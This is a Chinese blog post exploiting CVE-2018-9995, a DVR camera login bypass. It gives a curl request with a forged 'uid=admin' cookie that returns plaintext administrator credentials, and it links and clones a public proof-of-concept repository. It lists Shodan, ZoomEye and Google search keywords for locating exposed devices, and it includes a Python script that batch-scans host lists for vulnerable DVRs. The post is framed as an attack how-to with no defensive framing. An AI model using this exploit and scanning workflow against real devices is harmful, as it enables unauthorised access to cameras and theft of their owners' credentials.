DVR登录绕过漏洞(CVE-2018-9995)

我就是我 2024-04-07 10:59 85阅读 0赞

## \#\#\#漏洞描述 ##

此漏洞允许攻击者通过修改“Cookie: uid=admin” 之后访问特定 DVR 的控制面板，返回此设备的明文管理员凭证。

## \#\#\#漏洞利用 ##

### 1.利用代码 ###

curl "http://:/device.rsp?opt=user&cmd=list" -H "Cookie: uid=admin"

### 2.poc利用 ###

https://github.com/ezelf/CVE-2018-9995_dvr_credentials
    git clone https://github.com/ezelf/CVE-2018-9995_dvr_credentials.git
    
    cd CVE-2018-9995_dvr_credentials
    
    pip install -r requirements.txt

![bae48e7a95d79a919c06e6baf845807f.png][]

![43e849922e9363b2520b9eaf78ed8b7c.png][]

## \#\#\#关键词搜索 ##

**1. zoomeye:**

keyword: “/login.rsp"

![22ffb7eec71d27f015f0bd90483b94f6.png][]

**2.shodan:**

keyword:html:"/login.rsp"

keyword:"server:GNU rsp/1.0"

![a2bdb90a9dad4c07c0a46df5484f0f11.png][]

![b79df443989fdef9eb312decb6ebd7c1.png][]

**3.google:**

keyword:intitle:"DVR login"

![0437166e88d29c730788536b8d898e92.png][]

## \#\#\#批量验证 ##

DVR系列摄像头批量检测 使用方法:python CVE-2018-9995\_check.py host.txt  
其中host.txt内容可以为8.8.8.8:8080或者[www.baidu.com][]，脚本运行后对使用了DVR系列摄像头的host会保存到result.txt文件里

#author:hzkey
    
    import tableprint as tp
    
    import sys
    
    import requests
    
    import re
    
    class Colors:
    
        GREEN = '\033[32m'
    
        RED = '\033[0;31m'
    
        BLUE = '\033[*]'
    
        ORANGE = '\033[33m'
    
    def check_host(host):
    
        try:
    
            print(Colors.ORANGE+"Checking : %s"%host)
    
            url = 'http://' + host+'/login.rsp'
    
            rr= requests.get(url,timeout=30,allow_redirects=False)
    
            if rr.status_code == 200 and re.findall("GNU rsp/1.0", rr.headers["Server"]):
    
                print(Colors.GREEN+"[*] CVE-2018-9995 Detection :Url is %s"%url)
    
                ff=open('result.txt','a+')
    
                ff.write('%s\n'%(url))
    
        except:
    
            pass
    
    if __name__ == '__main__':
    
        if len(sys.argv) < 2:
    
            print(Colors.BLUE+"""Usage: Python3 CVE-2018-9995.py host.txt
    
    host.txt:127.0.0.1:8080 or baidu.com
    
    """)
    
        if len(sys.argv) >= 2:
    
            file = open(sys.argv[1])
    
            for i in file:
    
                i = i.strip()
    
                check_host(i)
    
            file.close()

![57ff62a81b80789cbd77f718b3b33b28.png][]

[bae48e7a95d79a919c06e6baf845807f.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/71518e3e8c5b4c0db628cf1569214db6.png
[43e849922e9363b2520b9eaf78ed8b7c.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/619b8bd965ce4004a6c4035e2b4583e8.png
[22ffb7eec71d27f015f0bd90483b94f6.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/bd0b83f7de7543278a7d4208f53c3a8e.png
[a2bdb90a9dad4c07c0a46df5484f0f11.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/28067f301b8a4daf960881be7443f98b.png
[b79df443989fdef9eb312decb6ebd7c1.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/9c1b6d854b104f79821f3333982f2a65.png
[0437166e88d29c730788536b8d898e92.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/301cf326691742928e30ad390a0615d1.png
[www.baidu.com]: http://www.baidu.com/
[57ff62a81b80789cbd77f718b3b33b28.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/ae690b6c8ffd4ebfa3c7109039bf0ccc.png